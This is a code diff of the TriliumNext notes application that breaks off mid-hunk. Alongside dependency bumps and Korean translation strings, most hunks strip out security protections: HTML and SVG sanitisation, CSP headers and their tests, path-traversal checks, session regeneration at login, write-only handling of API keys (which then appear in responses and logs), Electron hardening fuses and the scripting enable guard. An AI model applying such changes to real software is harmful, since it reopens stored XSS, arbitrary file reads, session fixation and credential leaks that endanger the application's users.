|
||||
export const TPL = `
|
||||
@@ -110,8 +109,8 @@ export function addMessageToChat(messagesContainer: HTMLElement, chatContainer:
|
||||
contentElement.classList.add('assistant-content');
|
||||
}
|
||||
|
||||
// Format the content with markdown and sanitize to prevent XSS
|
||||
contentElement.innerHTML = DOMPurify.sanitize(formatMarkdown(content));
|
||||
// Format the content with markdown
|
||||
contentElement.innerHTML = formatMarkdown(content);
|
||||
|
||||
messageElement.appendChild(avatarElement);
|
||||
messageElement.appendChild(contentElement);
|
||||
@@ -142,30 +141,20 @@ export function showSources(
|
||||
const sourceElement = document.createElement('div');
|
||||
sourceElement.className = 'source-item p-2 mb-1 border rounded d-flex align-items-center';
|
||||
|
||||
// Build the link safely using DOM APIs to prevent XSS via note titles
|
||||
const wrapper = document.createElement('div');
|
||||
wrapper.className = 'd-flex align-items-center w-100';
|
||||
|
||||
const link = document.createElement('a');
|
||||
link.href = `#root/${source.noteId}`;
|
||||
link.setAttribute('data-note-id', source.noteId);
|
||||
link.className = 'source-link text-truncate d-flex align-items-center';
|
||||
link.title = `Open note: ${source.title}`;
|
||||
|
||||
const icon = document.createElement('i');
|
||||
icon.className = 'bx bx-file-blank me-1';
|
||||
|
||||
const titleSpan = document.createElement('span');
|
||||
titleSpan.className = 'source-title';
|
||||
titleSpan.textContent = source.title;
|
||||
|
||||
link.appendChild(icon);
|
||||
link.appendChild(titleSpan);
|
||||
wrapper.appendChild(link);
|
||||
sourceElement.appendChild(wrapper);
|
||||
// Create the direct link to the note
|
||||
sourceElement.innerHTML = `
|
||||
<div class="d-flex align-items-center w-100">
|
||||
<a href="#root/${source.noteId}"
|
||||
data-note-id="${source.noteId}"
|
||||
class="source-link text-truncate d-flex align-items-center"
|
||||
title="Open note: ${source.title}">
|
||||
<i class="bx bx-file-blank me-1"></i>
|
||||
<span class="source-title">${source.title}</span>
|
||||
</a>
|
||||
</div>`;
|
||||
|
||||
// Add click handler
|
||||
link.addEventListener('click', (e) => {
|
||||
sourceElement.querySelector('.source-link')?.addEventListener('click', (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
onSourceClick(source.noteId);
|
||||
@@ -227,8 +216,6 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
|
||||
steps.forEach(step => {
|
||||
let icon, labelClass, content;
|
||||
const safeContent = escapeHtml(step.content || '');
|
||||
const safeName = escapeHtml(step.name || 'unknown');
|
||||
|
||||
switch (step.type) {
|
||||
case 'executing':
|
||||
@@ -236,7 +223,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${safeContent}</span>
|
||||
<span>${step.content}</span>
|
||||
</div>`;
|
||||
break;
|
||||
|
||||
@@ -245,9 +232,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = 'fw-bold';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span class="${labelClass}">Tool: ${safeName}</span>
|
||||
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
|
||||
</div>
|
||||
<div class="mt-1 ps-3">${safeContent}</div>`;
|
||||
<div class="mt-1 ps-3">${step.content}</div>`;
|
||||
break;
|
||||
|
||||
case 'error':
|
||||
@@ -255,9 +242,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = 'fw-bold text-danger';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span class="${labelClass}">Tool: ${safeName}</span>
|
||||
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
|
||||
</div>
|
||||
<div class="mt-1 ps-3 text-danger">${safeContent}</div>`;
|
||||
<div class="mt-1 ps-3 text-danger">${step.content}</div>`;
|
||||
break;
|
||||
|
||||
case 'generating':
|
||||
@@ -265,7 +252,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${safeContent}</span>
|
||||
<span>${step.content}</span>
|
||||
</div>`;
|
||||
break;
|
||||
|
||||
@@ -274,7 +261,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${safeContent}</span>
|
||||
<span>${step.content}</span>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
/**
|
||||
* Validation functions for LLM Chat
|
||||
*/
|
||||
import type { OptionNames } from "@triliumnext/commons";
|
||||
import options from "../../services/options.js";
|
||||
import { t } from "../../services/i18n.js";
|
||||
|
||||
@@ -45,15 +44,15 @@ export async function validateProviders(validationWarning: HTMLElement): Promise
|
||||
// Check each provider in the precedence list for proper configuration
|
||||
for (const provider of precedenceList) {
|
||||
if (provider === 'openai') {
|
||||
// Check OpenAI configuration via server-provided boolean flag
|
||||
const isKeySet = options.is('isOpenaiApiKeySet' as OptionNames);
|
||||
if (!isKeySet) {
|
||||
// Check OpenAI configuration
|
||||
const apiKey = options.get('openaiApiKey');
|
||||
if (!apiKey) {
|
||||
configIssues.push(`OpenAI API key is missing (optional for OpenAI-compatible endpoints)`);
|
||||
}
|
||||
} else if (provider === 'anthropic') {
|
||||
// Check Anthropic configuration via server-provided boolean flag
|
||||
const isKeySet = options.is('isAnthropicApiKeySet' as OptionNames);
|
||||
if (!isKeySet) {
|
||||
// Check Anthropic configuration
|
||||
const apiKey = options.get('anthropicApiKey');
|
||||
if (!apiKey) {
|
||||
configIssues.push(`Anthropic API key is missing`);
|
||||
}
|
||||
} else if (provider === 'ollama') {
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
|
||||
|
||||
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
|
||||
|
||||
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
|
||||
|
||||
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
|
||||
@@ -38,6 +36,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
|
||||
}
|
||||
|
||||
return {
|
||||
__html: sanitizeNoteContentHtml(html as string)
|
||||
__html: html as string
|
||||
};
|
||||
}
|
||||
|
||||
@@ -21,27 +21,6 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import appContext, { type EventData } from "../components/app_context.js";
|
||||
import katex from "../services/math.js";
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for ToC headings. Only allows inline formatting
|
||||
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
|
||||
* Blocks all event handlers, script tags, and dangerous attributes.
|
||||
*/
|
||||
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="toc-widget">
|
||||
<style>
|
||||
@@ -358,7 +337,7 @@ export default class TocWidget extends RightPanelWidget {
|
||||
//
|
||||
|
||||
const headingText = await this.replaceMathTextWithKatax(m[2]);
|
||||
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
|
||||
const $itemContent = $('<div class="item-content">').html(headingText);
|
||||
const $li = $("<li>").append($itemContent)
|
||||
.on("click", () => this.jumpToHeading(headingIndex));
|
||||
$ols[$ols.length - 1].append($li);
|
||||
|
||||
@@ -10,7 +10,6 @@ import FormSelect from "../../react/FormSelect";
|
||||
import FormTextBox from "../../react/FormTextBox";
|
||||
import type { OllamaModelResponse, OpenAiOrAnthropicModelResponse, OptionNames } from "@triliumnext/commons";
|
||||
import server from "../../../services/server";
|
||||
import options from "../../../services/options";
|
||||
import Button from "../../react/Button";
|
||||
import FormTextArea from "../../react/FormTextArea";
|
||||
|
||||
@@ -122,7 +121,7 @@ function ProviderSettings() {
|
||||
|
||||
interface SingleProviderSettingsProps {
|
||||
provider: string;
|
||||
title: string;
|
||||
title: string;
|
||||
apiKeyDescription?: string;
|
||||
baseUrlDescription: string;
|
||||
modelDescription: string;
|
||||
@@ -133,26 +132,9 @@ interface SingleProviderSettingsProps {
|
||||
}
|
||||
|
||||
function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDescription, modelDescription, validationErrorMessage, apiKeyOption, baseUrlOption, modelOption }: SingleProviderSettingsProps) {
|
||||
const [ apiKey, setApiKey ] = useTriliumOption(apiKeyOption ?? baseUrlOption);
|
||||
const [ baseUrl, setBaseUrl ] = useTriliumOption(baseUrlOption);
|
||||
|
||||
// API keys are write-only: the server never sends their values.
|
||||
// Instead, a boolean flag indicates whether the key is configured.
|
||||
const apiKeySetFlag = apiKeyOption
|
||||
? `is${apiKeyOption.charAt(0).toUpperCase()}${apiKeyOption.slice(1)}Set` as OptionNames
|
||||
: undefined;
|
||||
const isApiKeySet = apiKeySetFlag ? options.is(apiKeySetFlag) : false;
|
||||
const [ apiKeyInput, setApiKeyInput ] = useState("");
|
||||
|
||||
const saveApiKey = useCallback(async (value: string) => {
|
||||
setApiKeyInput(value);
|
||||
if (apiKeyOption && value) {
|
||||
await options.save(apiKeyOption, value);
|
||||
// Update the local boolean flag so the UI reflects the change immediately
|
||||
options.set(apiKeySetFlag!, "true");
|
||||
}
|
||||
}, [apiKeyOption, apiKeySetFlag]);
|
||||
|
||||
const isValid = apiKeyOption ? (isApiKeySet || !!apiKeyInput) : !!baseUrl;
|
||||
const isValid = (apiKeyOption ? !!apiKey : !!baseUrl);
|
||||
|
||||
return (
|
||||
<div class="provider-settings">
|
||||
@@ -168,8 +150,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
|
||||
<FormGroup name="api-key" label={t("ai_llm.api_key")} description={apiKeyDescription}>
|
||||
<FormTextBox
|
||||
type="password" autoComplete="off"
|
||||
placeholder={isApiKeySet ? t("ai_llm.api_key_placeholder") : ""}
|
||||
currentValue={apiKeyInput} onChange={saveApiKey}
|
||||
currentValue={apiKey} onChange={setApiKey}
|
||||
/>
|
||||
</FormGroup>
|
||||
)}
|
||||
@@ -180,7 +161,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
|
||||
/>
|
||||
</FormGroup>
|
||||
|
||||
{isValid &&
|
||||
{isValid &&
|
||||
<FormGroup name="model" label={t("ai_llm.model")} description={modelDescription}>
|
||||
<ModelSelector provider={provider} baseUrl={baseUrl} modelOption={modelOption} />
|
||||
</FormGroup>
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
import { FusesPlugin } from "@electron-forge/plugin-fuses";
|
||||
import type { ForgeConfig } from "@electron-forge/shared-types";
|
||||
import { FuseV1Options, FuseVersion } from "@electron/fuses";
|
||||
import { LOCALES } from "@triliumnext/commons";
|
||||
import { existsSync } from "fs";
|
||||
import fs from "fs-extra";
|
||||
@@ -168,24 +166,7 @@ const config: ForgeConfig = {
|
||||
{
|
||||
name: "@electron-forge/plugin-auto-unpack-natives",
|
||||
config: {}
|
||||
},
|
||||
new FusesPlugin({
|
||||
version: FuseVersion.V1,
|
||||
// Security: Disable RunAsNode to prevent local attackers from launching
|
||||
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
|
||||
// This prevents TCC bypass / prompt spoofing attacks on macOS and
|
||||
// "living off the land" privilege escalation on all platforms.
|
||||
[FuseV1Options.RunAsNode]: false,
|
||||
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
|
||||
// variables to prevent injection of arbitrary Node.js runtime options.
|
||||
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
|
||||
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
|
||||
// debugger protocol exposure that could enable remote code execution.
|
||||
[FuseV1Options.EnableNodeCliInspectArguments]: false,
|
||||
// Security: Only allow loading the app from the ASAR archive to prevent
|
||||
// loading of unverified code from alternative file paths.
|
||||
[FuseV1Options.OnlyLoadAppFromAsar]: true,
|
||||
}),
|
||||
}
|
||||
],
|
||||
hooks: {
|
||||
// Remove unused locales from the packaged app to save some space.
|
||||
|
||||
@@ -27,10 +27,15 @@
|
||||
"electron-debug": "4.1.0",
|
||||
"electron-dl": "4.0.0",
|
||||
"electron-squirrel-startup": "1.0.1",
|
||||
"jquery-hotkeys": "0.2.2",
|
||||
"jquery.fancytree": "2.38.5"
|
||||
"jquery.fancytree": "2.38.5",
|
||||
"jquery-hotkeys": "0.2.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/electron-squirrel-startup": "1.0.2",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
"@triliumnext/server": "workspace:*",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.6.0",
|
||||
"@electron-forge/cli": "7.11.1",
|
||||
"@electron-forge/maker-deb": "7.11.1",
|
||||
"@electron-forge/maker-dmg": "7.11.1",
|
||||
@@ -39,13 +44,6 @@
|
||||
"@electron-forge/maker-squirrel": "7.11.1",
|
||||
"@electron-forge/maker-zip": "7.11.1",
|
||||
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
|
||||
"@electron-forge/plugin-fuses": "7.11.1",
|
||||
"@electron/fuses": "1.8.0",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
"@triliumnext/server": "workspace:*",
|
||||
"@types/electron-squirrel-startup": "1.0.2",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.4.1",
|
||||
"prebuild-install": "7.1.3"
|
||||
}
|
||||
}
|
||||
@@ -12,7 +12,7 @@
|
||||
"@triliumnext/desktop": "workspace:*",
|
||||
"@types/fs-extra": "11.0.4",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.4.1",
|
||||
"electron": "40.6.0",
|
||||
"fs-extra": "11.3.3"
|
||||
},
|
||||
"scripts": {
|
||||
|
||||
@@ -35,7 +35,7 @@
|
||||
"sucrase": "3.35.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@anthropic-ai/sdk": "0.77.0",
|
||||
"@anthropic-ai/sdk": "0.78.0",
|
||||
"@braintree/sanitize-url": "7.1.2",
|
||||
"@electron/remote": "2.1.3",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
@@ -83,7 +83,7 @@
|
||||
"debounce": "3.0.0",
|
||||
"debug": "4.4.3",
|
||||
"ejs": "4.0.1",
|
||||
"electron": "40.4.1",
|
||||
"electron": "40.6.0",
|
||||
"electron-debug": "4.1.0",
|
||||
"electron-window-state": "5.0.3",
|
||||
"escape-html": "1.0.3",
|
||||
|
||||
@@ -21,7 +21,8 @@ beforeAll(async () => {
|
||||
ns: "server",
|
||||
backend: {
|
||||
loadPath: join(__dirname, "../src/assets/translations/{{lng}}/{{ns}}.json")
|
||||
}
|
||||
},
|
||||
showSupportNotice: false
|
||||
});
|
||||
|
||||
// Initialize dayjs
|
||||
|
||||
@@ -67,13 +67,3 @@ oauthIssuerName=
|
||||
# Set the issuer icon for OAuth/OpenID authentication
|
||||
# This is the icon of the service that will be used to verify the user's identity
|
||||
oauthIssuerIcon=
|
||||
|
||||
[Scripting]
|
||||
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
|
||||
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
|
||||
# all users with admin-level access to the server.
|
||||
# Desktop builds override this to true automatically.
|
||||
enabled=false
|
||||
|
||||
# Enable the SQL console (allows raw SQL execution against the database)
|
||||
sqlConsoleEnabled=false
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"keyboard_actions": {
|
||||
"back-in-note-history": "기록 내 이전 노트로 이동하기",
|
||||
"back-in-note-history": "히스토리의 이전 노트로 이동하기",
|
||||
"open-command-palette": "명령어 팔레트 열기",
|
||||
"delete-note": "노트 삭제",
|
||||
"quick-search": "빠른 검색바 활성화",
|
||||
@@ -81,7 +81,27 @@
|
||||
"open-dev-tools": "개발자 도구 열기",
|
||||
"find-in-text": "검색 패널 토글",
|
||||
"toggle-left-note-tree-panel": "좌측(노트 트리) 패널 토글",
|
||||
"toggle-full-screen": "전체 화면 토글"
|
||||
"toggle-full-screen": "전체 화면 토글",
|
||||
"paste-markdown-into-text": "클립보드에서 마크다운 파일을 텍스트 노트에 붙여넣습니다",
|
||||
"cut-into-note": "현재 노트에서 선택 영역을 잘라내어 하위 노트를 생성합니다",
|
||||
"add-include-note-to-text": "노트 추가 대화 상자를 열기",
|
||||
"edit-readonly-note": "읽기 전용 메모를 편집",
|
||||
"toggle-link-map": "링크 맵 토글",
|
||||
"toggle-note-info": "노트 정보 토글",
|
||||
"toggle-note-paths": "노트 경로 토글",
|
||||
"toggle-similar-notes": "유사 노트 토글",
|
||||
"other": "기타",
|
||||
"toggle-right-pane": "오른쪽 창(목차와 하이라이트) 표시 여부 전환",
|
||||
"print-active-note": "활성 노트 인쇄",
|
||||
"open-note-externally": "노트를 파일 형식으로 열기(기본 애플리케이션 사용)",
|
||||
"zoom-out": "축소",
|
||||
"zoom-in": "확대",
|
||||
"note-navigation": "노트 내비게이션",
|
||||
"reset-zoom-level": "확대/축소 초기화",
|
||||
"copy-without-formatting": "선택한 텍스트를 서식 없이 복사",
|
||||
"force-save-revision": "활성 노트의 새 버전을 강제로 생성/저장",
|
||||
"toggle-book-properties": "컬렉션 속성 토글",
|
||||
"toggle-classic-editor-toolbar": "고정 도구 모음 에디터의 서식 탭을 전환"
|
||||
},
|
||||
"hidden-subtree": {
|
||||
"zen-mode": "젠 모드",
|
||||
|
||||
@@ -172,8 +172,7 @@ function setExpandedForSubtree(req: Request) {
|
||||
// root is always expanded
|
||||
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
|
||||
|
||||
const expandedValue = expanded ? 1 : 0;
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
|
||||
|
||||
for (const branchId of branchIds) {
|
||||
const branch = becca.branches[branchId];
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
import chokidar from "chokidar";
|
||||
import type { Request, Response } from "express";
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import { Readable } from "stream";
|
||||
import tmp from "tmp";
|
||||
|
||||
@@ -206,36 +205,13 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that the given file path is a known temporary file created by this server
|
||||
* and resides within the expected temporary directory. This prevents path traversal
|
||||
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
|
||||
*/
|
||||
function validateTemporaryFilePath(filePath: string): void {
|
||||
if (!filePath || typeof filePath !== "string") {
|
||||
throw new ValidationError("Missing or invalid file path.");
|
||||
}
|
||||
|
||||
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
|
||||
}
|
||||
|
||||
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
|
||||
// This guards against any future bugs where a non-temp path could end up in the set.
|
||||
const resolvedPath = path.resolve(filePath);
|
||||
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
|
||||
|
||||
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
|
||||
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
|
||||
}
|
||||
}
|
||||
|
||||
function uploadModifiedFileToNote(req: Request) {
|
||||
const noteId = req.params.noteId;
|
||||
const { filePath } = req.body;
|
||||
|
||||
validateTemporaryFilePath(filePath);
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
|
||||
}
|
||||
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
|
||||
@@ -256,8 +232,6 @@ function uploadModifiedFileToAttachment(req: Request) {
|
||||
const { attachmentId } = req.params;
|
||||
const { filePath } = req.body;
|
||||
|
||||
validateTemporaryFilePath(filePath);
|
||||
|
||||
const attachment = becca.getAttachmentOrThrow(attachmentId);
|
||||
|
||||
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);
|
||||
|
||||
@@ -10,21 +10,6 @@ describe("Image API", () => {
|
||||
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
|
||||
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
|
||||
});
|
||||
|
||||
it("sets Content-Security-Policy header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["Content-Security-Policy"]).toBeDefined();
|
||||
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
|
||||
});
|
||||
|
||||
it("sets X-Content-Type-Options header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
|
||||
});
|
||||
});
|
||||
|
||||
class MockResponse {
|
||||
|
||||
@@ -7,7 +7,6 @@ import type { Request, Response } from "express";
|
||||
import type BNote from "../../becca/entities/bnote.js";
|
||||
import type BRevision from "../../becca/entities/brevision.js";
|
||||
import { RESOURCE_DIR } from "../../services/resource_dir.js";
|
||||
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
|
||||
|
||||
function returnImageFromNote(req: Request, res: Response) {
|
||||
const image = becca.getNote(req.params.noteId);
|
||||
@@ -35,12 +34,6 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
|
||||
renderSvgAttachment(image, res, "mermaid-export.svg");
|
||||
} else if (image.type === "mindMap") {
|
||||
renderSvgAttachment(image, res, "mindmap-export.svg");
|
||||
} else if (image.mime === "image/svg+xml") {
|
||||
// SVG images require sanitization to prevent stored XSS
|
||||
const content = image.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", image.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
@@ -63,9 +56,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
|
||||
}
|
||||
}
|
||||
|
||||
const sanitized = sanitizeSvg(svg);
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
res.set("Content-Type", "image/svg+xml");
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(svg);
|
||||
}
|
||||
|
||||
function returnAttachedImage(req: Request, res: Response) {
|
||||
@@ -80,17 +73,9 @@ function returnAttachedImage(req: Request, res: Response) {
|
||||
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
|
||||
}
|
||||
|
||||
if (attachment.mime === "image/svg+xml") {
|
||||
// SVG attachments require sanitization to prevent stored XSS
|
||||
const content = attachment.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(attachment.getContent());
|
||||
}
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(attachment.getContent());
|
||||
}
|
||||
|
||||
function updateImage(req: Request) {
|
||||
|
||||
@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
|
||||
* type: string
|
||||
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
|
||||
*/
|
||||
async function loginSync(req: Request) {
|
||||
function loginSync(req: Request) {
|
||||
if (!sqlInit.schemaExists()) {
|
||||
return [500, { message: "DB schema does not exist, can't sync." }];
|
||||
}
|
||||
@@ -112,17 +112,6 @@ async function loginSync(req: Request) {
|
||||
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
|
||||
}
|
||||
|
||||
// Regenerate session to prevent session fixation attacks.
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
req.session.regenerate((err) => {
|
||||
if (err) {
|
||||
reject(err);
|
||||
} else {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
req.session.loggedIn = true;
|
||||
|
||||
return {
|
||||
|
||||
@@ -109,8 +109,10 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
|
||||
"aiTemperature",
|
||||
"aiSystemPrompt",
|
||||
"aiSelectedProvider",
|
||||
"openaiApiKey",
|
||||
"openaiBaseUrl",
|
||||
"openaiDefaultModel",
|
||||
"anthropicApiKey",
|
||||
"anthropicBaseUrl",
|
||||
"anthropicDefaultModel",
|
||||
"ollamaBaseUrl",
|
||||
@@ -119,31 +121,17 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
|
||||
"mfaMethod"
|
||||
]);
|
||||
|
||||
// Options that contain secrets (API keys, tokens, etc.).
|
||||
// These can be written by the client but are never sent back in GET responses.
|
||||
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
|
||||
"openaiApiKey",
|
||||
"anthropicApiKey"
|
||||
]);
|
||||
|
||||
function getOptions() {
|
||||
const optionMap = optionService.getOptionMap();
|
||||
const resultMap: Record<string, string> = {};
|
||||
|
||||
for (const optionName in optionMap) {
|
||||
if (isReadable(optionName)) {
|
||||
if (isAllowed(optionName)) {
|
||||
resultMap[optionName] = optionMap[optionName as OptionNames];
|
||||
}
|
||||
}
|
||||
|
||||
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
|
||||
|
||||
// Expose boolean flags for write-only (secret) options so the client
|
||||
// knows whether a value has been configured without revealing the value.
|
||||
for (const secretOption of WRITE_ONLY_OPTIONS) {
|
||||
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
|
||||
optionMap[secretOption] ? "true" : "false";
|
||||
}
|
||||
// if database is read-only, disable editing in UI by setting 0 here
|
||||
if (config.General.readOnly) {
|
||||
resultMap["autoReadonlySizeText"] = "0";
|
||||
@@ -178,10 +166,7 @@ function update(name: string, value: string) {
|
||||
}
|
||||
|
||||
if (name !== "openNoteContexts") {
|
||||
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
|
||||
? "[redacted]"
|
||||
: value;
|
||||
log.info(`Updating option '${name}' to '${logValue}'`);
|
||||
log.info(`Updating option '${name}' to '${value}'`);
|
||||
}
|
||||
|
||||
optionService.setOption(name as OptionNames, value);
|
||||
@@ -219,20 +204,13 @@ function getSupportedLocales() {
|
||||
return getLocales();
|
||||
}
|
||||
|
||||
/** Check if an option can be read by the client (GET responses). */
|
||||
function isReadable(name: string) {
|
||||
function isAllowed(name: string) {
|
||||
return (ALLOWED_OPTIONS as Set<string>).has(name)
|
||||
|| name.startsWith("keyboardShortcuts")
|
||||
|| name.endsWith("Collapsed")
|
||||
|| name.startsWith("hideArchivedNotes");
|
||||
}
|
||||
|
||||
/** Check if an option can be written by the client (PUT requests). */
|
||||
function isAllowed(name: string) {
|
||||
return isReadable(name)
|
||||
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
|
||||
}
|
||||
|
||||
export default {
|
||||
getOptions,
|
||||
updateOption,
|
||||
|
||||
@@ -7,7 +7,6 @@ import syncService from "../../services/sync.js";
|
||||
import sql from "../../services/sql.js";
|
||||
import type { Request } from "express";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface ScriptBody {
|
||||
script: string;
|
||||
@@ -23,7 +22,6 @@ interface ScriptBody {
|
||||
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
|
||||
// this and does result.then().
|
||||
async function exec(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
try {
|
||||
const body = req.body as ScriptBody;
|
||||
|
||||
@@ -46,7 +44,6 @@ async function exec(req: Request) {
|
||||
}
|
||||
|
||||
function run(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const result = scriptService.executeNote(note, { originEntity: note });
|
||||
@@ -71,10 +68,6 @@ function getBundlesWithLabel(label: string, value?: string) {
|
||||
}
|
||||
|
||||
function getStartupBundles(req: Request) {
|
||||
